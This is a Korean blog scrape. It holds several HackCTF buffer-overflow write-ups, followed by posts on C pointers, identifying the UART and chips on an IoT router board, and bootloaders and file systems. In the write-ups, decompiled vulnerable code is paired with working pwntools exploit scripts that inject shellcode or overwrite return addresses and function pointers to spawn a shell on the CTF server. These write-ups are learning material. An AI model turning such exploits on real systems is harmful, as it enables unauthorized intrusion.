취약점을 찾기 위해 IDA 로 뜯어보면

이렇게 나온다.

C 코드만 보고 한번에 알아내긴 힘드니까 한번 실행해본다.

실행 결과랑 코드를 같이 봐 보면

입력받은 값을 s 배열에 저장해서 주소값과 함께 출력하는것 같다.

보호기법도 적용되어 있지 않으니 s 에 쉘코드를 넣고 빈 부분을 \x90 으로 채운 뒤 RET에 s의 주소를 넣어주면 되겠다.

 

그래서 코드를 짜 보면

from pwn import *

#r = process("./Simple_overflow_ver_2")
r = remote("ctf.j0n9hyun.xyz", 3006)

context(arch='i386', os='linux')
shell = asm(shellcraft.i386.linux.sh())

print(r.recvuntil(": "))
r.sendline("test")
addr = int(r.recv(8+2), 16)
r.sendline('y')

payload = shell
payload += b'\x90'*(0x88 + 4 - len(shell))
payload += p32(addr)

r.sendline(payload)
r.interactive()

이렇게 된다.

728x90

'해킹 > writeup' 카테고리의 다른 글

7. HackCTF - 내 버퍼가 흘러넘친다!!!  (0) 2021.07.11
6. DreamHack - basic_exploitation_000  (0) 2021.07.11
4. HackCTF - x64 Buffer Overflow  (0) 2021.06.16
3. HackCTF - Basic_BOF #2  (0) 2021.06.16
2. HackCTF - Basic_BOF #1  (0) 2021.06.16
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-110h]
  int v5; // [rsp+11Ch] [rbp-4h]

  _isoc99_scanf("%s", &s, envp);
  v5 = strlen(&s);
  printf("Hello %s\n", &s);
  return 0;
}
int callMeMaybe()
{
  char *path; // [rsp+0h] [rbp-20h]
  const char *v2; // [rsp+8h] [rbp-18h]
  __int64 v3; // [rsp+10h] [rbp-10h]

  path = "/bin/bash";
  v2 = "-p";
  v3 = 0LL;
  return execve("/bin/bash", &path, 0LL);
}

따로 함수 호출이나 if 문이 없으니 ret 값을 callMeMaybe 함수의 주소로 바꾸면 될거 같다.

 

0x110 + 0x8 = 0x118 = 280

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3004)

payload = b""
payload += b"A" * (0x110 + 8)
payload += p64(0x0000000000400606)

r.sendline(payload)

r.interactive()

0x0000000000400606는 callMeMaybe 함수의 주소값이다.

이렇게 하면 쉘이 실행될 것이다. 거기다 cat flag 를 치면 된다.

728x90

'해킹 > writeup' 카테고리의 다른 글

6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
3. HackCTF - Basic_BOF #2  (0) 2021.06.16
2. HackCTF - Basic_BOF #1  (0) 2021.06.16
1. DreamHack - basic_exploitation_001  (0) 2021.06.16
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-8Ch]
  void (*v5)(void); // [esp+8Ch] [ebp-Ch]

  v5 = (void (*)(void))sup;
  fgets(&s, 133, stdin);
  v5();
  return 0;
}
int shell()
{
  return system("/bin/dash");
}

v5라는 함수 포인터를 호출하고 있기 때문에 s를 버퍼 오버플로우 내서 v5의 주소값을 쉘을 실행시키는 shell 함수의 주소값으로 바꾸면 될거 같다.

0x8C - 0xC = 0x80 = 128

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3001)

payload = b""
payload += b"A" * 128
payload += p32(0x0804849b)

r.sendline(payload)
r.sendline("cat flag")

r.interactive()

128 바이트를 A로 덮어씌우고 그 다음에 v5 부분을 shell 함수의 주소로 바꿨다.

그러면 shell 함수가 실행되게 될 것이고, cat flag 를 하면 플래그가 보일것이다.

728x90

'해킹 > writeup' 카테고리의 다른 글

6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
4. HackCTF - x64 Buffer Overflow  (0) 2021.06.16
2. HackCTF - Basic_BOF #1  (0) 2021.06.16
1. DreamHack - basic_exploitation_001  (0) 2021.06.16
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]
  int v5; // [esp+2Ch] [ebp-Ch]

  v5 = 67305985;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n", &s);
  printf("[check] %p\n", v5);
  if ( v5 != 67305985 && v5 != -559038737 )
    puts("\nYou are on the right way!");
  if ( v5 == -559038737 )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

그냥 간단히 v5를 -559038737로 바꿔주면 된다.

0x34 - 0xC = 0x28 = 40

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3000)

payload = b""
payload += b"A" * 40
payload += p64(0xFFFFFFFFDEADBEEF)

r.sendline(payload)
r.sendline("cat flag")

r.interactive()

0xFFFFFFFFDEADBEEF는 -559038737를 16진수로 바꾼것이다.

이걸로 v5가 -559038737가 되어 system("/bin/dash") 함수가 실행되면

쉘에서 명령어를 실행할 수 있다.

그래서 cat flag 로 flag를 읽어온다.

728x90

'해킹 > writeup' 카테고리의 다른 글

6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
4. HackCTF - x64 Buffer Overflow  (0) 2021.06.16
3. HackCTF - Basic_BOF #2  (0) 2021.06.16
1. DreamHack - basic_exploitation_001  (0) 2021.06.16

용어 정리

변수: 변하는 값을 저장하는 곳. 데이터를 저장하기 위해 메모리에서 공간을 할당 받음.

주소값: 변수에서 메모리에서 할당받은 공간의 시작 주소

포인터: 위의 주소값을 저장하는 변수(또는 상수)

상수 포인터: 다른 주소값을 가리키도록 바꿀 순 있으나, 그 주소에 있는 값을 바꿀 순 없음.

포인터 상수: 다른 주소값을 가리키도록 바꿀 수 없으나, 그 주소에 있는 값을 바꿀 순 있음.

 

포인터 선언

변수타입* 변수명;
변수타입 * 변수명;
변수타입 *변수명 = 주소값;

으로 선언할 수 있습니다. (*이 어디 붙어도 상관없습니다.)

int a = 10
int* b = &a;

연산자

& 연산자(주소 연산자)

&변수

이렇게 사용할 수 있다.

int a = 10;
print("%p", &a); // %p 는 주소값을 출력할 때 사용합니다.

이런 식으로 & 연산자를 사용하게 되면 변수 a의 주소값이 출력됩니다.

* 연산자(참조 또는 역참조 연산자)

* 연산자는 뒤에 오는 주소값에서 그 주소에 담겨있는 값에 접근하는 데 사용합니다.

*변수

예를 들어 "*&변수"를 하게 되면 변수의 주소값에서 그 주소에 담겨있는 값을 가져오게 되므로 변수의 값이 나오게 됩니다.

int a = 948;
int* b = &a;
printf("%p %d\n", &a, *&a);
printf("%p %d", b, *b);

결과는

(a의 주소값) 948

(a의 주소값) 948

이 나오게 됩니다.

포인터 연산

포인터의 덧셈과 뺄셈

포인터의 덧셈

int a = 50;
int *b = &a;

char c = 'c';
char* d = &c;

printf("%p\n", b); //0061FF14
printf("%p\n", d); //0061FF13

printf("%p\n", b + 1); //0061FF18
printf("%p", d + 1); //0061FF14

* 포인터 간의 덧셈은 안됩니다. (쓸 이유가 없음)

* 포인터에 x만큼 더하면 주소값은 (x * 자료형) 만큼 늘어납니다.

포인터의 뺄셈

int a[2] = {50, 100};

int *a1 = a;
int *a2 = a + 1;

printf("%d\n", *a);
printf("%d\n", *(a + 1));

printf("%p %d\n", a1, *a1);
printf("%p %d\n", a2, *a2);
printf("%d\n", a2 - a1);

* 배열 자체는 배열의 첫 번째 주소를 나타내므로 *a는 배열의 첫 번째 항목, *(a+1)은 배열의 두 번째 항목이 됩니다.

* a1은 배열의 첫 번째 항목의 주소, a2는 배열의 두 번째 항목의 주소이므로 a2-a1은 배열의 두 번째 항목과 첫번째 항목의 주소의 차가 됩니다.

* a2 - a도 똑같이 첫번째 항목과 두번째 항목의 주소의 차가 되고 이걸 이용하면 a2가 배열에서 위치한 위치를 알 수 있습니다.

* lowerbound나 upperbound를 사용할 때 반환값에서 배열을 빼면 검색한 항목의 위치(index)를 알 수 있습니다.

포인터의 곱셈과 나눗셈

불가능합니다.

Call By Value

#include <stdio.h>

void test(int a){
    a = 10;
    printf("in test function, variable a value: %d\n", a); //10
}

int main()
{
    int a = 90;
    printf("before invoke test function, variable a value : %d\n", a); //90
    test(a);
    printf("in main function, variable a value: %d", a); //90
    return 0;
}

함수의 인자에 변수의 값을 복사해서 전달해준다.

함수 내에서 값을 바꿔도 원래 변수의 값이 변하지는 않는다. 

Call By Reference

#include <stdio.h>

void test(int *a)
{
    *a = 10;
    printf("in test function, variable a value: %d\n", *a); //10
}

int main()
{
    int a = 90;
    printf("before invoke test function, variable a value : %d\n", a); //90
    test(&a);
    printf("in main function, variable a value: %d", a); //10
    return 0;
}

함수의 인자에 변수의 주소값을 전달해준다.

함수에서 참조 연산자를 이용해서 값을 바꾸면 원래 변수의 값도 변한다.

다중 포인터

포인터도 변수이므로 포인터에 대한 주소값을 저장하는 포인터를 만들 수 있습니다.

이것을 다중 포인터라 부르게 됩니다. 아래 예시를 보면

int a = 10;
int *b = &a;
int **c = &b;
printf("%p %p %p\n", &a, b, *c);
printf("%d %d %d", a, *b, **c);

포인터 c는 포인터 b의 주소값을 저장하는 2중 포인터인 것을 알 수 있습니다.

포인터를 선언할 때 변수타입* 변수명; 으로 한다고 했었는데 int **c = &b;에서 (int*)가 자료형이 됩니다.

자료형*변수명 = 주소값;

int *   *c        = &b;

 

3중 포인터 예시를 보면

int a = 10;
int *b = &a;
int **c = &b;
int ***d = &c;
printf("%p %p %p %p\n", &a, b, *c, **d);
printf("%d %d %d %d", a, *b, **c, ***d);

이런 식으로 한 겹이 추가될 때마다 자료형에 *이 하나씩 늘어나게 됩니다.

728x90

UART핀 찾기
UART

그림에서는 UART가 3핀으로 구성되어 있지만, 보통은 VCC와 같이 4핀으로 구성되어 있는 경우가 많습니다.

위 사진에서 보면 4핀이 연속으로 구멍이 뚫려있는 곳이 있다. 찾기 힘들면 기판에 RX, TX 가 써져있는 것을 찾으면 됩니다.

노란색 줄 친 부분이 GND, TX, RX이고 빨간 원 친 부분 전체가 UART 홀입니다.

(참고로 보드에 써져있는 0BA440은 기판 색입니다.)

 

아래 써져있는 스펙을 기준으로 찾아본 결과 가장 비슷하게 생긴건 NEXT-606N 인것 같습니다.

NEXT-606N

첫 번째 사진

칩에 써져있는 정보대로 MediaTek 사이트에 검색해본 결과

www.mediatek.com/products/homenetworking/mt7628k-n-a

 

MT7628K/N/A

MT7628K/N/A 2x2 802.11n platform for N300/AC750/AC1200 router and repeater MediaTek MT7628 family are the new generation of 2T2R 802.11n Wi-Fi AP/Router (SoC). MT7628 improve the RF performance, reduce power consumption and optimize the BOM cost and make i

www.mediatek.com

N300 / AC750 / AC1200 라우터 및 리피터 용 SoC(System on a Chip)인 것을 알 수 있습니다.

상세 펙은 이렇게 되는 것 같습니다.

MT7628

MIPS 아키텍쳐를 사용하는 싱글코어 32비트 575/580MHz 클럭의 cpu가 달려있고

16bit DRAM 2개에 I2S와 PCM을 사용하는 오디오 인터페이스

소프트웨어론 eCos, Linux 2.6.36, 3.10 그리고 OpenWRT를 사용할 수 있습니다.

IEEE 802.11n(WiFi 4)의 와이파이를 쓸 수 있고 2.4GHz 주파수를 쓸 수 있네요.

그리고 2개의 송수신 안테나를 달 수 있는것 같습니다.

5포트짜리 Fast Ethernet(100Mbit/s) 스위치를 쓸 수 있고 1개의 포트를 IoT 용으로 쓸 수 있는것 같습니다.

I/O 는 GPIO와 UART가 있네요. 아마 GPIO는 LED에 사용하지 않았을까 합니다.

 

좀 더 상세한 데이터 시트는 여기 있습니다.

vonger.cn/upload/MT7628_Full.pdf

 

두 번째 사진

W9751G6KB-25를 검색해본 결과

www.ariat-tech.kr/parts/winbond-electronics-corporation/W9751G6KB-25

512MBit => 64MB의 SDRAM인 것을 확인할 수 있었습니다.

상세 스펙은 이렇게 되는 것 같습니다.

512Mbit(64MB) SDRAM(Synchronous Dynamic RAM)이고 8x12.5 BGA(Ball Grid Array) 방식이며 속도(클럭)는 200MHz 인것 같습니다. 인터페이스가 Parallel 이라고 하는데 데이터 시트를 찾아본 결과 SSTL 인터페이스에 1.8V를 사용합니다.

8x12.5 BGA

세 번째 사진

잘 보이진 않지만 25032JVS10 혹은 25Q32JVSIQ 인 듯합니다.

그래서 검색해본 결과 정확히 같은 모델명은 나오지 않았지만

datasheetspdf.com/pdf/1330826/Winbond/W25Q128JV/1

kr.mouser.com/ProductDetail/Winbond/W25Q64JVSSIQ?qs=qSfuJ%252Bfl%2Fd4DecxlHDmB8w%3D%3D

등 32가 64로 바뀐듯한 모습의 IC들이 나왔고, 다른 데이터 시트를 찾아본 결과

위쪽에 마킹되는 문구에 맨 앞에 W랑 S가 두 개 들어가서 일련번호로 바뀌는 것을 알 수 있었습니다.

그러면 25Q32JVSIQ를 일련번호로 변경하면 W25Q32JVSSIQ 가 되고 검색해보니

pdf1.alldatasheet.co.kr/datasheet-pdf/download/932073/WINBOND/W25Q32JVSSIQ.html

데이터 시트를 발견할 수 있었습니다. 다운해보니

1. GENERAL DESCRIPTIONS The W25Q32JV (32M-bit) Serial Flash memory provides a storage solution for systems with limited space, pins and power. The 25Q series offers flexibility and performance well beyond ordinary Serial Flash devices. They are ideal for code shadowing to RAM, executing code directly from Dual/Quad SPI (XIP) and storing voice, text and data. The device operates on 2.7V to 3.6V power supply with current consumption as low as 1µA for power-down. The W25Q32JV array is organized into 16,384 programmable pages of 256-bytes each. Up to 256 bytes can be programmed at a time. Pages can be erased in groups of 16 (4KB sector erase), groups of 128 (32KB block erase), groups of 256 (64KB block erase) or the entire chip (chip erase). The W25Q32JV has 1,024 erasable sectors and 64 erasable blocks respectively. The small 4KB sectors allow for greater flexibility in applications that require data and parameter storage. (See Figure 2.) The W25Q32JV supports the standard Serial Peripheral Interface (SPI), and a high performance Dual/Quad output as well as Dual/Quad I/O SPI: Serial Clock, Chip Select, Serial Data I/O0 (DI), I/O1 (DO), I/O2, and I/O3. SPI clock frequencies of up to 133MHz are supported allowing equivalent clock rates of 266MHz (133MHz x 2) for Dual I/O and 532MHz (133MHz x 4) for Quad I/O when using the Fast Read Dual/Quad I/O instruction

32M-bit => 4MB 크기의 플래시 메모리이며 SPI 인터페이스를 사용하는 것을 알 수 있었습니다.

 

종합해 보자면

1. SoC으로 계산이랑 여러 가지 종합적인 것을 담당하고

2. DRAM으로 주기억 장치 역할을 하고

3. 플래시 메모리로 보조기억장치 역할을 한다는 것을 알 수 있습니다.

728x90

부트로더

컴퓨터(또는 MCU)의 전원이 켜질 때 일반적으로 램(RAM)에 운영 체제가 없습니다. 그래서 컴퓨터는 적은 양의 필요한 데이터와 함께 롬(ROM)에 저장된 작은 프로그램을 실행하여 운영체제를 보조 기억 장치에서 RAM에 로드합니다.

이 작업을 하는 작은 프로그램 부트 로더라고 합니다.

 

기능

1. 직렬 통신, 인터럽트, 타이머, 콘솔, 메모리, 각종 입출력 장치 등을 점검하여 실행 가능 상태로 만들어 줍니다.

2. 화면에 내용을 출력해서 사용자 인터페이스 기능을 합니다.

3. 커널을 메모리(RAM)에 로드시켜서 사용자 명령 처리를 준비하는 역할을 합니다.

 

부트로더의 종류

  • U-Boot(Universal Bootloader)
    • PPCBoot와 ARMBoot 프로젝트 기반
  • LILO(Linux Loader)
  • GRUB(Grand Unfied Bootloader)
  • Loadlin
  • EtherBoot
  • Blob
    • ARM용 부트로더
  • PMON(PROM Monitor)
    • MIPS 보드용
  • RedBoot
    • RedHat에서 개발 및 배포
    • eCos 기반

 

커널

운영체제의 핵심으로 하드웨어와 응용프로그램 사이에서 보안, 자원관리, 추상화를 해줍니다.

파일 시스템

운영체제에서 파일이나 자료를 쉽게 접근할 수 있도록 보관 또는 조직하는 체계

 

아이노드(inode): UFS와 같은 유닉스 계통 파일 시스템에서 사용하는 자료구조이며, 정규 파일, 디렉터리  파일 시스템에 관한 정보를 가지고 있습니다.

 

파일 시스템 내에서 파일이나 디렉토리는 고유한 inode 를 가지고 있으며, inode 번호를 통해 구분이 가능합니다.

 

컴퓨터에서 파일을 저장할 때 하드디스크에 연속적으로 저장하는것이 아닌 파일들을 조각으로 나눠서 저장하게 되는데, 그 파일들이 어디있는지를 기록해 둬야 합니다.

파일 시스템 종류

FAT(File Allocation Table)

볼륨의 맨 위에 FAT 이라는 테이블이 있고 그 테이블에 파일의 할당 정보를 저장합니다.

파일을 섹터 단위로 나누면 파일이 너무 작게 나눠지기 때문에 적당히 작게 나누기 위해서 클러스터를 사용합니다.

FAT 뒤에 숫자는 클러스터 ID를 저장하는데 사용하는 비트 수 입니다. 그래서 최대 표현 가능한 클러스터 수와 연관이 되어 있습니다.

 

NTFS(New Technology File System)

윈도우 NT부터 기본적으로 사용되는 파일 시스템으로, 클러스터 ID를 저장하는데 64비트를 사용합니다.

FAT과 달리 테이블을 사용하지 않고 B+ tree를 사용하여 탐색 속도가 빨라졌습니다.

그리고 아래에 나오는 저널링 파일 시스템을 사용하여 안정성이 높아졌습니다.

파일을 압축하여 보관하거나, 접근 권한을 제어하는 등 여러가지 기능이 생겼습니다.

하지만 윈도우만 생각하고 만들어서 호환성이 좋진 않습니다.

 

exFAT(EXtended File Allocation Table)

NTFS의 호환성 문제를 해결하기 위해서 만들어진 파일 시스템입니다.

FAT 에서 클러스터 ID를 저장하는데 사용하는 비트 수가 64비트로 바뀌었습니다.

 

EXT(EXTended file system)

리눅스 운영 체제를 위해서 만들어진 파일 시스템입니다.

Extended File System을 줄여 extfs 또는 ext로 씁니다.

부트섹터와 여러개의 블록 그룹으로 이루어져 있습니다.

부트섹터에는 부팅에 필요한 정보들이 담겨있고, 블록은 클러스터와 비슷한 역할을 수행합니다.

블록 그룹은 Super Block, Group Descript Table(GDT), Block Bitmap, Inode Bitmap, Inode Table, Data의 구조로 구성되어 있습니다.

 

EXT2, 정식 이름은 Second Extended File System입니다. 이 파일 시스템은 ext의 문제를 해결하기 위해 나온 파일 시스템입니다.

ext2 파일 시스템은 255자까지의 긴 파일 이름을 지원합니다. ext2 파일 시스템은 세 타임스탬프를 지원하며, 확장이 쉽습니다. 그리고 ext에 있었던 여러 단점(분리 접근, 아이노트 수정 등 지원 안 함)도 개선되었습니다. 파일 시스템의 최대 크기는 블록 사이즈에 따라 2 TiB ~ 32 TiB이며, 서브 디렉터리 개수 제한은 32768개입니다.

EXT3ext2에 저널링 파일 시스템, 큰 디렉터리를 위한 HTree 인덱싱 등의 기능이 추가되었습니다. ext3는 ext2를 바탕으로 만들었기 때문에, ext2 파일 시스템을 자료 손실 없이 ext3 파일 시스템으로 바꿀 수 있습니다.

 

EXT4

64비트 기억 공간 제한을 없애고 ext3의 성능을 향상하며, 하위 호환성이 있는 확장 버전으로서, 많은 부분이 본래, 러스터 파일 시스템을 위해 클러스터 파일 시스템스사에서 개발되었습니다. 여러가지 장점이 있지만 너무 길기 때문에 작성하지 않겠습니다.

 

JFFS(Journalling Flash File System)

파일 시스템에 반영될 변경 사항을 주기적으로 로그로 남겨 비정상 종료가 발생하면 저널은 저장되지 않은 정보를 복구하기 위한 검사 지점으로 사용되어 파일 시스템 메타자료 손상을 막아줍니다.

즉, 일정부분을 기록을 위해 남겨두고, 그 부분에 기록을 남겨 백업 및 복구 능력이 있는 파일 시스템을 말하며,

시스템 충돌 후에 파일시스템 복구에 드는 시간이 획기적으로 줄어듭니다.

 

JFFS2

이름부터 JFFS2 인 만큼 JFFS에서 여러가지 새로운 점이 추가가 되었습니다.

1. NAND 플래시 지원

2. zlib, rubin, rtime 이 세 종류 압축 알고리즘 지원

3. 성능 향상

 

YAFFS(Yet Another Flash File System)

NAND 플래시를 위해서 설계된 파일시스템 입니다.

JFFS가 모든 페이지에 대해서 데이터를 읽어야 한다는 초기화 알고리즘의 단점을 극복하기 위해 파일의 메타데이터인 아이노드를 한 페이지에 저장하는 방법을 사용하고 있습니다.

 

UBIFS(UBI File System)

F2FS(Flash-Friendly File System)

LogFS

등이 있습니다.

728x90

+ Recent posts